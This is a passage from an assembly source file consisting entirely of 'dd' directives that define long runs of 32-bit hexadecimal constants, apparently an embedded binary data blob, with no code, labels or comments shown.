0E13446h, 1F32C612h dd 0A90A195Eh dd 1DCFD0BFh, 16AAED4h, 0A16E96BDh, 362888E0h, 0E3288802h dd 328EB290h, 5AA11F1h, 112F8611h, 44016976h, 0C61304BCh dd 8753108Eh, 0FB5900E7h, 787B7E4Ah, 0F1F12AAh, 86C0C5A0h dd 20C2EF50h, 0EDE00161h, 134FFFC7h, 1728F4FEh, 96A49107h dd 5E007009h, 0E4B715Bh, 267F2C2Eh, 851A6AC0h, 0B008769h dd 9F0C22AEh, 71A3ADCEh, 8C2A03D5h, 0A0F46AFCh, 63DBEE98h dd 0A50258h, 532B51A6h, 0F2B073h, 0BB37723Ch, 709534C0h dd 0B548DF1Eh, 0B27C9180h, 2BE64FEh, 719FFCDEh, 2960216Bh dd 540AFB04h, 0C0A206D1h, 0D068ED00h, 3AF967Ah, 0DC4D3F26h dd 879813DAh, 0A40949B9h, 80145138h, 81600B90h, 7F853C3Fh dd 8CE33980h, 0E06AA2C8h, 50A59E31h, 10D0D9BCh, 3FC60058h dd 99CC221Fh, 9C00024Dh, 0B2B546A1h, 12D4452Bh, 28A92Dh dd 6D55BAF5h, 0BFF206B3h, 184DFE07h, 89CECE4Ah, 6EA40467h dd 6A80680h, 49870343h, 2A788093h, 0C3DB1800h, 0DDA21C39h dd 0AFF91F9Ch, 642C41C7h, 0E8BFBB2Fh, 8B0387C1h, 0E14877D3h dd 16DAF0BAh, 475F0005h, 0B1022608h, 91036637h, 0EC7D51Dh dd 88F8F3E7h, 10F04Ah, 82B58684h, 9DB6ADC8h, 7CC31E1Dh dd 0D286D818h, 378C0304h, 7D17A557h, 105546F0h, 1F4D233Fh dd 4F40492Bh, 0BB684B5Ch, 0F5420089h, 604E20Bh, 0F3031F10h dd 9B74DED1h, 0FE26F8F8h, 0E97A4Ch, 4B7FBA6Dh, 0F48312FBh dd 7BE32D00h, 0B777523Eh, 3FC207CFh, 50369280h, 0E56D541Eh dd 39F35100h, 4A1715B0h, 4E5A0050h, 0F9C58A6Eh, 6EED46Ah dd 9B268B00h, 0E0369DB1h, 72120007h, 5A66A744h, 0D2057D76h dd 97A3E203h, 0B094F700h, 7CA2ABh, 0CFB39179h, 0C60A25CCh dd 7FDE0500h, 4308F793h, 9FF1006Dh, 0D0B47924h, 9E093260h dd 2173C456h, 16C7BE0Ch, 2C7820h, 0A31B2FB8h, 9C019066h dd 0DCAE4700h, 8D033229h, 509301E6h, 0F934E19Dh, 0BE10C8F5h dd 1B99AF00h, 4B36D0BFh, 965F0784h, 0A0147E0Fh, 6AF25A9Bh dd 0BA85A800h, 0B288D71h, 0D8F09F67h, 78CE5400h, 339814B9h dd 220D0EDEh, 0F2BE18h, 82773B42h, 0E177F7C6h, 57EDB000h dd 0D78661F1h, 1C9B00CDh, 0A615637Eh, 7C00F316h, 0ABA81371h dd 7F1019h, 22D3BF06h, 1F12A3D4h, 845D0900h, 8F6866EEh dd 0FEB100E1h, 321C3340h, 9B0029BDh, 0C2C8F895h, 0E2126165h dd 2DC31338h, 0CD0C014Ah, 0E0807083h, 0CA005293h, 0FA7E9D49h dd 4DB6FFh, 5EE7FDC6h, 0B83241AEh, 1914A400h, 2B3CBE0Bh dd 5DA800D0h, 973882E7h, 8C00A617h, 19CB78C7h, 77A1F2h dd 0AFD8EB94h, 8D70CCB9h, 550EF600h, 0F85C82AEh, 185E0EF3h dd 6623F48Ch, 583CC33h, 0DEBDFAC0h, 4E962200h, 77EDFC70h dd 8E264h, 0FB8C8480h, 900CE6A2h, 913760Fh, 3A7BE0B0h dd 229E17h, 78115AEBh, 0B1F8CC1Dh, 4126DA00h, 0F6B0D567h dd 47E400A5h, 0E70D0487h, 1500BCB9h, 86BB5831h, 48274F8Eh dd 0C600B844h, 0CB7C0BB2h, 0F57F696Fh, 1D3A31E2h, 0B7FA8071h dd 0F6F0A4FDh, 0D3D1007Ch, 0BD82F1CEh, 0F8004CBCh, 34451CDFh dd 368D83Ch, 2124D1E8h, 0B6B8F7D5h, 0FB003389h, 889DAEFFh dd 3C5644FAh, 3EBC2DBEh, 0D9C4D20Fh, 9179B567h, 0C8BF49F8h dd 0CE3B9078h, 0F06A8004h, 9C57DE84h, 0CDC07CDh, 0C04A555Ah dd 0B1736906h, 15F87805h, 0A880FC3Fh, 0EFB63CBh, 90B2C4B9h dd 41B06107h, 6148C019h, 1EE5CC84h, 5ECD100h, 2A852D5Bh dd 0C03900C5h, 709EC6ACh, 440013D6h, 0A5A90745h, 937C3FCh dd 2E5AFBD2h, 2192D000h, 8C001626h, 2532F0AEh, 33068269h dd 3D502496h, 0FB0A72D0h, 0E4497D00h, 0ECC7B41Ch, 1FB27826h dd 8065CD8Dh, 4B27C26Ah, 125B9802h, 0E0000AE8h, 8CE990F3h dd 349840AFh, 0AE1DF600h, 18D4A385h, 0F1E0004Ch, 0A7A467BDh dd 891D533Eh, 48819C1Ah, 64343599h, 0F36830h, 93DA9B4Eh dd 461EAFDBh, 0A9630D00h, 9819CD17h, 97530EB9h, 0D9431CD6h dd 4AD03ED5h, 0B20038ADh, 6B95829Dh, 2EBABA5h, 2946C2B3h dd 4500242Eh, 62A30Ch, 0CBAB5DBDh, 0F68CA414h, 0FD9A709h dd 377C2490h, 0DE2957C0h, 12360017h, 283E2D68h, 0F2127CB0h dd 98007053h, 0D1830ECFh, 9E3A003Ch, 5A30A62Eh, 151DC905h dd 48075CDCh, 5D7033FBh, 79234291h, 0F298EFh, 1009129Dh dd 636F2A2Bh, 1EBD7400h, 5CC8696Dh, 0FBF8FAh, 0E6AA5EB6h dd 0EDB5CD95h, 0A53C4707h, 7BF09232h, 652D7Dh, 53AF7945h dd 34D41826h, 46B66200h, 1A9699AAh, 25AE0748h, 80826181h dd 5E78EC60h, 0C9068B00h, 0F5E40CFCh, 0BA0D0FE9h, 4E008530h dd 263F1E10h, 9CCC1518h, 0E2EF92DEh, 7048EE23h, 76FD00F4h dd 58CEEC2Ch, 1C001DDEh, 0FEFC208Bh, 0F236BA49h, 75E100CFh dd 85C72A83h, 4C005311h, 0A1E8ED82h, 54C023h, 0D7B57086h dd 0DA21B942h, 25BE0206h, 0D004E8h, 5F362A5h, 9C549B4Fh dd 0B0003075h, 66D6E2C9h, 0F46C5Bh, 23A034BAh, 1A3F1381h dd 316FE900h, 647094E3h, 0C85E6F97h, 7AD10200h, 4400C133h dd 0EF55C8D0h, 0BAF987h, 0CD1E381Bh, 4EDC911Ch, 2A67320Bh dd 615D8015h, 6DC277h, 7E1E47E2h, 0FB7FA9BAh, 86809900h dd 0E17B4CBEh, 0FE850004h, 0CCBDC0D3h, 0C50018F2h, 0B7B43020h dd 0FEDC4E14h, 0E50700D5h, 523BCB0h, 0DD007DC5h, 115D601Ch dd 14FD380h, 0B09B9C62h, 20B43B17h, 7D0068DFh, 3CFE459Ah dd 16D6F1h, 0D5EDCEDFh, 64605FD0h, 7D07B67Ah, 884E0BF4h dd 0A6577150h, 0EC560079h, 0D4D23093h, 0B10067EBh, 8B889874h dd 610E27h, 1A06E2DAh, 90574EA8h, 490BB100h, 7CE95D3Fh dd 0FB9D00B4h, 0A1953D5h, 0B800DAC0h, 3A0D8EA1h, 0B8AA4C85h dd 87B00156h, 3B1DD3C7h, 47CB20AEh, 8F3E3090h, 2E5D0E71h dd 0F366118h, 0E9FCE03Fh, 0EFC009Dh, 13A935DEh, 4E1C611Eh dd 9C41B404h, 7580D545h, 0B005B9C4h, 812C00C2h, 3F0C7439h dd 44008499h, 8C7EACA6h, 0CE9248h, 0A42BEE4h, 7409862Ah dd 2DCAFD00h, 35DA5A43h, 693A0159h, 0B55E0822h, 0BC3C2060h dd 9CB7180Ch, 66CAE0h, 0B0DC3D8Fh, 5683298Ch, 522C6A00h dd 12F7319Fh, 0C1D23E8Eh, 0DA815580h, 0BF0C9089h, 0B51F8B00h dd 0ADA107C4h, 3E32009Bh, 1C6A41DFh, 27F8EBA6h, 0F029500h dd 0C95925CEh, 80DBA2D6h, 0E9EB7E94h, 0C3780EB5h, 0CF406386h dd 1742C84Eh, 0BAAD2000h, 5CDD2784h, 470F0FE3h, 0FFC0CC01h dd 1DEB3CC0h, 0D59B7C00h, 0D4CA63C2h, 7DF324A0h, 0E7360029h dd 5E222B2Eh, 0DAD5A41Fh, 0A152F7C0h, 11D7DD9h, 0B940C3Fh dd 0C4B856EDh, 29F2C4E0h, 0B342270Fh, 0E422C0ADh, 242B8C96h dd 34CE293h, 0F706E10h, 0EF03F198h, 0C7A3BC01h, 0FC87AB53h dd 2E40CEFCh, 3F4111F0h, 0DFF50974h, 46000E9Fh, 530C047Fh dd 882EA0E4h, 67005A8Eh, 42BBAFFCh, 4EF9001Ch, 214C619Eh dd 0D80017D2h, 73A145DFh, 918C60h, 6B9D3D8Eh, 0ABBB3BA8h dd 9F78F503h, 0B0F41BFDh, 0E725BFh, 18EC49CEh, 0A2D5CF19h dd 41973700h, 12D6C5AFh, 532F0002h, 7E54A136h, 0CE12633Eh dd 10035223h, 0D0F91A1Fh, 0EBAA3ACh, 0E4352567h, 95A977E0h dd 0B1CDD46h, 900070E5h, 981DD05Fh, 0F28C01C3h, 0ABDF9A69h dd 0BF5530BAh, 3EFC0670h, 6EE13500h, 0CBFE0B17h, 959A0EDFh dd 5AE0531Bh, 4C360A7Ch, 8FE38709h, 0D3880224h, 0AA3F41C9h dd 60C7820h, 13D97C2Dh dd 393BA08Eh, 0AB300944h, 9D600755h, 290761C4h, 99CBD0A8h dd 2700AA70h, 4B7E9E01h, 3262B8h, 5AA860F2h, 2C657B77h dd 40A7D10Fh, 0E40E1282h, 9FEE4038h, 7245D31Fh, 48C5333Bh dd 90AC0658h, 0DE95F284h, 3E838h, 24D3A313h, 13440115h dd 3C372Ah, 0B6B5A231h, 62E46121h, 2271F104h, 8880E2F9h dd 79E31Bh, 84FB5A51h, 1AC3BE23h, 21ED3E00h, 0E5BC2208h dd 43273DF0h, 1455C180h, 2A3713E2h, 0F6CC6A01h, 91E84E89h dd 0DFD630h, 448B12A6h, 569B8DF9h, 0BC7BB024h, 9ECA013Eh dd 2665620Bh, 80F6C4h, 0BC1F4EFDh, 3CA72C28h, 82ABCA00h dd 6BAE6579h, 3F278A2h, 0DC73BBA1h, 0DFE806DBh, 192E099Eh dd 3E02B2C3h, 906E41E3h, 8C4CB0h, 0F8F3719Eh, 3BD2359Bh dd 3EFC5E00h, 4497792Dh, 2FA605E8h, 707A87h, 0F2467C80h dd 7904B193h, 0B79ADA42h, 0B224A481h, 7845ACCh, 0B164B08Fh dd 0FCD8503Fh, 0BD1D59E6h, 9640F46Dh, 8D18870Ah, 7CD2008Ch dd 6C686BABh, 421601DCh, 90006E39h, 455B9761h, 0A49065h dd 0D0334F18h, 3078E429h, 66FC9500h, 9482A586h, 0A20905F1h dd 8063BDEBh, 505CE92Ch, 2330316h, 0E8ABEA00h, 43C512h dd 888A3872h, 0A3564194h, 0C1863E01h, 19E4D2E7h, 89C0C4h dd 0BFD51AB2h, 4768D7B7h, 0F80E7198h, 0A00AA5FFh, 141986Fh dd 0D1F4073Fh, 505F451Fh, 0ABFC07ADh, 4884D850h, 0CEC7F605h dd 70D0B59Dh, 3B489D4h, 0D5DC59F0h, 6FDBD311h, 0E23283B4h dd 95CB80C4h, 0D004CF8Bh, 295D2A3Ch, 20AF3F81h, 17B003Fh dd 56E00D54h, 0B18EB303h, 0C09D59E3h, 915EB9h, 0F3A56D4Ch dd 1E424196h, 43AEA000h, 0BA33841Bh, 99830B19h, 0CB80D204h dd 0BF92876Eh, 9D23F338h, 5A9DBE28h, 63A79780h, 801FEBh dd 31B24B43h, 10292635h, 0F8A16800h, 0A5B4FC60h, 0B8010370h dd 2F96671Ah, 890C6F90h, 76A25300h, 0E32D5939h, 69060429h dd 8362D2EBh, 55DB74E8h, 3D87DFC8h, 7E2A5Ch, 0E48312CCh dd 3ABAFAFDh, 6B00DB99h, 36D056D5h, 731D64D8h, 0B00BFB3Bh dd 0E8E28049h, 0B8C646EBh, 6D9703DEh, 0EC8E3FA8h, 0F271C4E8h dd 67A9B200h, 0AA2893E2h, 0A7650329h, 0D7389D33h, 1507B890h dd 3C26F70Eh, 0BC8D20A4h, 982A494Fh, 664700E9h, 0D7AB9E74h dd 9D76B0F6h, 615CBAE4h, 6D3F0073h, 0AB4676D4h, 0EA4A078Bh dd 104FEE6Ah, 0E1E6DA79h, 0CF7BA900h, 0C8D28FB5h, 9CB30080h dd 183963F4h, 3E00ADE4h, 0CC222D1h, 4ECD7Eh, 0C7CB5214h dd 0E1319D4Fh, 734D48h, 98FA2D0Fh, 0CF2599h, 0F2D238A5h dd 2976BC49h, 0F4488600h, 34E0265Ch, 71E33C23h, 3CB549F8h dd 0A1218907h, 0B83AD063h, 0E800A74Ah, 0FDACCFBBh, 1BE0283h dd 9C6E27C4h, 0F6F37FD5h, 0E08F4E60h, 52D2711Ch, 0DBB83EC0h dd 135E84D4h, 19B0E8Ah, 4D53209Ch, 0B7A3F0ACh, 704C9F37h dd 504B58C2h, 0C1F074h, 0BDCF2181h, 1E032F39h, 0DB1D3Eh dd 31F67127h, 0F8AE2B1Ah, 3A1201E3h, 4E8DE8B7h, 69D8D705h dd 3800E9BDh, 0F10146C2h, 0EDE65Dh, 0ACE54C79h, 4D6434D9h dd 0FAE97660h, 0C62963h, 5ECC4B92h, 36F37DD1h, 89657400h dd 2F986CA9h, 31807C0Eh, 2280EE96h, 0EFCFE4BFh, 0DFB15362h dd 166480AEh, 3ACE4D5Ch, 0D500580Fh, 116C2563h, 7E0E5665h dd 777B98EAh, 0B706000h, 0E0301Ah, 63F723F6h, 3DEDA0A6h dd 0B7F50F0Fh, 0F14F97h, 805E2894h, 3CE973E1h, 8503A4EBh dd 935A9026h, 51D0AD88h, 0DB00FC72h, 43A4F36Ah, 1C4D92Dh dd 0EE4B808Bh, 0FD97286Bh, 0A46260B1h, 0C0BF6A01h, 1DA88EE3h dd 6CDC8E21h, 345601F0h, 0DCABEAE6h, 4A0FE0C4h, 730354FEh dd 31A9F891h, 0B8DAC3F3h, 7CA589h, 0D52A7B49h, 95E94D15h dd 9438851Fh, 0F13EE40h, 7B9F6CBh, 37C10A24h, 6235068h dd 8E15A41Fh, 998B275h, 846B4F7Fh, 91A382h, 8880B604h dd 4DBD4864h, 8A03614Eh, 608B9D5Ch, 543780C0h, 0E050CB2h dd 5928E349h, 0E4304140h, 6CF4ACh, 6814D37Bh, 5E45E6BDh dd 0EA09FF00h, 550DCC1Eh, 0CB5800A0h, 46E505E8h, 0A55FFDD4h dd 0AA7234C0h, 6F260093h, 90A2D297h, 7779E7ECh, 0B12CEF03h dd 0A889822Bh, 0E93D7A8h, 0CA226E87h, 0F0D8AE40h, 4307C7F1h dd 9A7CBC9Dh, 2FF65D10h, 702A00A8h, 80E31F68h, 2300477Eh dd 0FBBA2D77h, 55C6AEh, 0F7DFB148h, 67F1E119h, 0E4528724h dd 1492740Ch, 0E3E0008Ah, 83572DDEh, 0EB00CEA9h, 0D4871E9Eh dd 0AD2228h, 0E62CFACFh, 0F863A27Fh, 52B0E350h, 138B0600h dd 51841A85h, 56B0FEh, 22541E7h, 1C806E5Ah, 87C3D400h dd 9F31D7F6h, 0ACBB0095h, 0FB52B6E2h, 5701E32Ah, 0F6E4699Ah dd 6CC064DFh, 0D68D0075h, 76210EC5h, 2B005150h, 0DF67E79Ch dd 0E41C07h, 823D7765h, 0D69DA025h, 95D59703h, 0E04D8E14h dd 0FA0DFEh, 90A6FCBCh, 7B10DD2Bh, 8AF89900h, 0E1867D4Fh dd 2A7108h, 23AE36C8h, 0DCB271F6h, 8E09CC09h, 0F80D602h dd 5D014F8Ch, 0C0F99E13h, 0C124A5E0h, 0E7099F06h, 0EC28006Dh dd 0C01FDF7Ah, 4F5699F2h, 9000EFBh, 88917F5Eh, 0FB7FEC5h dd 21B11B2Fh, 0EE356280h, 6F01B674h, 699CA6Ah, 0B1C829ADh dd 0E8D800B7h, 0F935FB71h, 14002FBFh, 0DBD47E9Bh, 0BA9E4Ch dd 81CE28E4h, 568F7004h, 18F27CF4h, 0BD57300h, 0D75E20EEh dd 4F00187h, 0A88803DDh, 7D9CE871h, 8E89EC00h, 9F771FE8h dd 0FBC6007Ch, 11D2FA22h, 9913436Ch, 1887B31Eh, 77B18DB0h dd 8F4C0042h, 0EE69714Eh, 0E83BAF78h, 76C8C896h, 196BF900h dd 34629D9h, 51BF0709h, 0E005FED3h, 6D893B97h, 0F9C2FA03h dd 90D0498Fh, 0A4A65Ah, 0E61FB49Dh, 0F170F6F7h, 0B90067FCh dd 0D869C3ADh, 7D3077E2h, 4D1116FFh, 8B6A00FDh, 588C8FCBh dd 77BACA00h, 51C0D344h, 0C522606h, 1EE90045h, 9AB5F212h dd 8333AD00h, 0A399D8CAh, 3CB259h, 0FDEF8A63h, 0F5AC1729h dd 6ACC3A00h, 747BFFAh, 64830079h, 0DA81D651h, 2C0311C2h dd 0FB74C47Dh, 0B0CFF1C6h, 903CDFE4h, 906E005Ch, 680FB79Eh dd 0E30F74F8h, 81850A9Dh, 14B96B82h, 192D1E4h, 36CF3BEh dd 3446659Bh, 0A800C9E8h, 0E552B00Dh, 74A32F08h, 0EAB84CF7h dd 0FF752D00h, 1970B4A2h, 3400C8FCh, 0C36CEF81h, 168504A6h dd 1FAE4913h, 390D803Bh, 35557652h, 0FEE3FA00h, 0F99B403Eh dd 0FF4100ADh, 0C85E8036h, 6A007439h, 786589CDh, 52D1904h dd 0EC951301h, 0D97DC0FDh, 0AEF624FBh, 0C3031000h, 0C949F75Fh dd 711C00EAh, 0D6B58B9Eh, 9500B220h, 2A578F15h, 48D1F116h dd 0EC00F8A2h, 0F852C517h, 2300E439h, 95DE72FDh, 98C7C68Eh dd 0E6FE3DE9h, 41CF00F4h, 36F1869Ah, 8E0388DFh, 0D5C11242h dd 3327D85Bh, 0DDD0007Fh, 0F243CD31h, 0C90FDAE3h, 0A752CA4Eh dd 0A807A105h, 57CB6EF0h, 3E26004Dh, 0D1B5A554h, 3401152Fh dd 0E0775130h, 0CE83CB32h, 0EC6B721Eh, 0BB9BF998h, 21008576h dd 0BE7F741Bh, 67B6B3h, 0E4E7C63Ch, 291D682Fh, 0A59A5000h dd 0D762B572h, 22BE01CBh, 0B2D9AA12h, 0DAF8D015h, 7819FA00h dd 0B5C77A69h, 0A2FE000Dh, 917C84CFh, 0D6004AF7h, 4EB3E661h dd 59FB3445h, 440B4036h, 0A3009695h, 0EC480811h, 0D7006171h dd 3A5F46C3h, 87AF57h, 7AD9C8FEh, 8309AB11h, 29006FE8h dd 0C50527FBh, 36253Eh, 699F2CCCh, 57F932ADh, 2A504600h dd 498D76CBh, 0D1BF00CEh dd 0F78EDD27h, 0AB7D3C90h, 9E00F2FCh, 6C1ABE16h, 2E9563h dd 0BC487A4Ah, 0B16E8B1Fh, 224BFF00h, 57AD40E4h, 76850043h dd 0FB06338h, 26F6141Fh, 160B1D3Dh, 4841BDA5h, 0E3A25885h dd 9942B20h, 0A7372507h, 23CA5401h, 0E93B70C2h, 4DDF6100h dd 57F63F5Eh, 0FC3C0093h, 0DC6AE31Dh, 0DAE02D17h, 1E03B3B0h dd 0EF217308h, 0C846933Bh, 548055h, 237C504Eh, 6FC1BCB2h dd 4A6CF909h, 0CD3900A3h, 0E7C476h, 1BD9EEAEh, 9D4BE6DDh dd 5559FF02h, 0E16DB8D3h, 42DCAB0Ch, 0F121F86Bh, 1FCDF0h dd 0DAF73863h, 5E9415ECh, 709106EAh, 62A6F940h, 204600BBh dd 19631A91h, 1C00FC05h, 736C51C7h, 19B663Fh, 0D0F1DDBFh dd 0C028DB9Eh, 1812CE3Ah, 5C1D58CBh, 80A0D20Bh, 5B8DF632h dd 4F1400E8h, 1B7309D1h, 673D3EDBh, 324600FDh, 4D3C6A76h dd 0AA70F754h, 28770001h, 9FC17BF8h, 0BA00E2EFh, 7CE3E64Eh dd 3D5C164Fh, 1A975864h, 3B8045BCh, 52642007h, 5B3F6447h dd 0D9E6A8CFh, 19906A00h, 9B7ECA1Eh, 0FB590094h, 3FF61DB9h dd 9900884Ch, 0C3FDE3A6h, 3CF14D37h, 0D29860C4h, 0A995199Bh dd 0F86CE602h, 507AE572h, 116A1160h, 0C5F2C4Bh, 71B1C600h dd 14D5D5Bh, 49B007CEh, 3C68F002h, 209D35A4h, 26EFDC90h dd 0EA6E30F2h, 504A9208h, 0F1004CB0h, 0E77FF8B6h, 0E240F64Dh dd 0E81A6193h, 71FBC5EDh, 0C179F86Eh, 74B85A0Bh, 0C80A02ECh dd 60F84049h, 0F72E00F1h, 17F6712Bh, 4E28AC03h, 0D5004062h dd 5E36BF64h, 3001CBC9h, 0F11168ADh, 6002FA1Bh, 0B8402F26h dd 25C852B1h, 38965B2Ah, 143623Bh, 6EF8BEEFh, 0CEF0FB0Ah dd 9D2700C6h, 0A534443Dh, 5900EFB9h, 816B43B6h, 0BF7F1Bh dd 0F73BCFB4h, 563D3E37h, 6D086200h, 13DD296Ah, 0C92107C3h dd 11C4206Bh, 0C03B4830h, 15002259h, 915F6FD0h, 755B2B7Fh dd 0BF35003Fh, 105690EAh, 46071DF0h, 2770F378h, 3E12AD50h dd 0F25B004Ah, 6C4B2940h, 0CC00F011h, 7E1E044Eh, 7C31B1h dd 10F8D5B7h, 0D77BE6B0h, 6C98D300h, 8FA6A3DBh, 759D00B8h dd 8C28C09Bh, 0E307F3FEh, 0D2EE914Ah, 741036E7h, 10661Dh dd 0C53D7EA9h, 8F075F6Dh, 6728B7FCh, 0A4EA8905h, 12BBB000h dd 0F316D70Ch, 633602B4h, 4F52825Fh, 401CB4E8h, 80D64339h dd 172EE9C0h, 0E82F31DFh, 6521C05Dh, 0F690D6ACh, 59BDB1Fh dd 804E3DF8h, 0B3AA04C4h, 7E5BAF43h, 31277D6h, 0B26A1E60h dd 4096A985h, 8FF4300h, 9AD13A8Bh, 60C21BEEh, 61603890h dd 6142CA0Eh, 767984Dh, 0AE535CE7h, 7DC8B198h, 0E5B3EC5Eh dd 9D38C318h, 7ADAC438h, 0BB08302Bh, 4F1AF310h, 49A1C00h dd 4C30C563h, 0C66C05CAh, 0FA9883BDh, 0DC77C500h, 1EBC76C4h dd 401B7C2Ch, 0DDD8D257h, 940EF6A4h, 0A0959C9Fh, 6CCE2DEh dd 6F1B00F8h, 16DDCFBDh, 40C37EECh, 0A0DB48B8h, 0AB9E1Fh dd 77B4AC54h, 88F1DACEh, 0CB643800h, 0E0664DE6h, 0AEE52h dd 84812FF9h, 1019E9F8h, 46E2D706h, 0F55078C0h, 42D8A5DDh dd 0F777E8h, 87441B63h, 0B51DF64Ch, 0AED7C700h, 76A89E8Fh dd 0B2BB00AFh, 0CE146440h, 52138BDDh, 9C0B495Fh, 187C87F8h dd 0B0195B63h, 0FAF47BB8h, 0F1990764h, 6BA0E43Bh, 6D431980h dd 291F3493h, 9201666Ch, 0F9599DF0h, 46CED883h, 0A13AAC45h dd 772081D0h, 0FC437B17h, 0F38079B9h, 80B696ABh, 3B001BF6h dd 2FDE854Ch, 0C5032Eh, 0F74292BBh, 0DA83FB55h, 0E79F9A00h dd 0E45CAB7h, 5D70070h, 5DB65782h, 0F40934CDh, 80A60986h dd 24E771F5h, 8DB40FD9h, 5CEE628h, 6B73F060h, 70601EE3h dd 8C537220h, 0F5CB0080h, 4E3CB1EBh, 54F05551h, 3B2A4C00h dd 1E7A57C0h, 1DB6FC41h, 7BF06B08h, 0C61BC30Eh, 6A8F0C20h dd 31008C73h, 0E4D9B0F4h, 52098724h, 0E91E449Bh, 7CE6CD8Dh dd 4D440380h, 7FFB2100h, 0A3058B8Ch, 379F0E8h, 8F56B750h dd 6C887A44h, 0F4023608h, 0E1C029F1h, 71148328h, 80D7995Ch dd 0F3898080h, 0A1D3C9C8h, 0F27B206h, 29E26Dh, 877C8007h dd 959B25D4h, 0A1B71B1Dh, 0EB2316h, 7D7579C0h, 4500A77Ch dd 0B7E30E76h, 0D6E5D0h, 41883B2Bh, 0EFB8CA64h, 6F30E4E9h dd 936EB205h, 3802670Fh, 10E5A974h, 947E7C1Fh, 87854D7Fh dd 0E0A424FEh, 0F1D3BCF5h, 0B5B2E300h, 0A0C50C4Ah, 0F3B8A342h dd 881EFBABh, 3C440593h, 5D80C7C1h, 0CEDB1425h, 0B7005931h dd 0DC82A571h, 1C84D385h, 403E048Eh, 0D8463B68h, 0E100AB8Ah dd 820A2B38h, 4C55E710h, 0FD07379Ch, 60229E3Fh, 0EE791841h dd 0C206F70Bh, 17040082h, 0B38C4Eh, 98603A68h, 42BA8B6Bh dd 0A3E2FA00h, 0A2DB1BDh, 53BB004Dh, 0DDEA904Bh, 0F51F7932h dd 0F0876B50h, 5510D3EEh, 6FF709h, 0A32A149Dh, 0C79FBDCFh dd 687982B8h, 0AD4A0D00h, 9962EF5Eh, 0FEDE00D9h, 0FBE67CEAh dd 0BA008072h, 6D79959Dh, 1C9E67h, 0CC02547Eh, 0E35A28F6h dd 0E822002h, 0DDD4484Fh, 0B990F360h, 0D064C900h, 309352E6h dd 0ED0500A8h, 43C1A618h, 5330E786h, 149EFA81h, 44A001Fh dd 7BAC0575h, 0DA01078Bh, 779F0972h, 0DFF06E4Eh, 55400001h dd 0FD1F6C3Bh, 9D01C52Ch, 8BF8E98Dh, 31CC52B8h, 10680BEAh dd 13806B1Dh, 456FD609h, 0C722801Ch, 51EC4Bh, 4CEEAD0Eh dd 18D20Dh, 7D72A17Fh, 12F4D5D9h, 0EBBDC400h, 0FA858365h dd 0A48B1DC2h, 7058F7C9h, 6A6E4D9Ah, 6D1128C1h, 0F8EFB88Ah dd 0EC99FB84h, 0B34A0FCFh, 0A005A31h, 2BD3AABDh, 0DE00057Dh dd 7CA26629h, 5769B5h, 0A74085B3h, 6296AE55h, 1DD12C00h dd 944EB14Fh, 0EEF7A0D5h, 0F86F5EE1h, 80B33C1h, 0DD0588A0h dd 5A7901F0h, 80BF7BA6h, 88908001h, 0B49D5164h, 256C00B9h dd 0DF07D9Fh, 7C07FB8Bh, 0B58AE33h, 0AC14DA20h, 6180A064h dd 2FCC1B0Dh, 0C0FF28F9h, 267C2403h, 0DA292D00h, 6195BB50h dd 0B43B007Bh, 0BEF8E10Eh, 0FF00B866h, 2BB55A98h, 60B09Ch dd 0AE35461Bh, 5CD3CDBh, 950EEE7Fh, 637982CCh, 0D9E9DC3Eh dd 36708B5Eh, 0FA4F7416h, 1741076Fh, 0C0753D12h, 0F2B1C905h dd 0E584D400h, 0D709D12Ah, 0A00F7458h, 327AACh, 0CC71E381h dd 4D93491Ah, 37301B03h, 0A038F0BEh, 4F05E4h, 8F244372h dd 0EED04048h, 0C5398700h, 9ADB193Bh, 0FA633AC4h, 0AAD8D383h dd 50A78C6Ch, 22E114BDh, 80030CE6h, 0F74A0D4h, 0D9ECE006h dd 4CF07CDh, 92451848h, 8406723h, 1B0561D4h, 4BFB03E2h dd 0CEA1A80Fh, 9F456217h, 1918E071h, 1BCC0090h, 95427B8Fh dd 0C9015BDh, 8074AE3Fh, 291785AFh, 0A0C9F7C8h, 316FB9h dd 7F300377h, 0B57640A4h, 0D0F1DD28h, 0F74CF600h, 0F367A058h dd 8A48C012h, 8C875B59h, 3DC2F400h, 0C8A43421h, 0A7D6188Bh dd 54DEA882h, 6B497100h, 33A30ED0h, 302CE893h, 2B58FB96h dd 0BE00254Fh, 0B95619A7h, 0CF62447Fh, 87C09AD0h, 8BD3D5FBh dd 0CB45E416h, 0F5D49900h, 0AE5C11h, 50A06929h, 0DC32C53Ch dd 191C8200h, 0AF301896h, 0B847002Bh, 9FFE2F17h, 5D7487D9h dd 0F457BD01h, 2DD089E4h, 7ECC8D4h, 0F7B0480h, 0A3CF7038h dd 41001708h, 6B2D744Ah, 9C8D19h, 70F8A8B1h, 4E753E29h dd 0D9456000h, 2FF6F0EBh, 0DEC62479h, 80BD1C9Ch, 6CF2EB5h dd 0E0778308h, 0C5351D00h, 0F2880A8Ah, 605F1DB1h, 0F54A0028h dd 75BCBFC8h, 0F15AB800h, 16138F4h, 1F0C0015h, 714A97Eh dd 1A00FB21h, 72C9D19Eh dd 287922FDh, 1B04353h, 0DD83BE0Dh, 50E07BB2h, 0DEF858F0h dd 17596205h, 0A010D63Fh, 56900E7h, 73660678h, 26E001F0h dd 0F6A64AB8h, 3D70CCD1h, 0C9DC8800h, 4F24B67Bh, 0BAC43DEEh dd 9FCBC302h, 90414B70h, 61D6ECB2h, 19517400h, 0AB546A1Ah dd 3A30013h, 0C60A4B2Ch, 82000D1Ch, 0E269A631h, 5A227Bh dd 32F88A61h, 75A06B74h, 0A2DC6C00h, 0CB09B84h, 0E1D20009h dd 3EFA541Eh, 40004211h, 522098C5h, 0C0B2D910h, 0EAAB610h dd 0FC1D1C7Fh, 2880F4EDh, 227EC0BAh, 0E0635873h, 1049500h dd 536BCCE7h, 0A096A600h, 6FAA4C80h, 2DB600B8h, 2B22ECF7h dd 9D0492C5h, 0A69376EBh, 0F6CA5880h, 0B1505D4h, 45B151h dd 0DB482D94h, 0EA00816Fh, 19C284D0h, 403BF9Eh, 0F3C8CE1Dh dd 0A8A1C155h, 60F5D9E0h, 0D3006BADh, 24322B87h, 30DB2DFFh dd 8A92C95Fh, 26028ECEh, 0A5798BD5h, 0B2D06163h, 91ECC30h dd 5C029BCAh, 0B9734900h, 6D00E0B6h, 0AB415A8Fh, 13B21Ah dd 998C84EAh, 0D83C4F79h, 43B36E00h, 33FC47C1h, 3EA41651h dd 0A28A0042h, 25E9B023h, 0CA4AB700h, 7D6D5ED6h, 68930039h dd 7288C1CFh, 0C603FFDDh, 0E583F087h, 0D4E8B8CDh, 76DBB849h dd 5E4E0F7Ah, 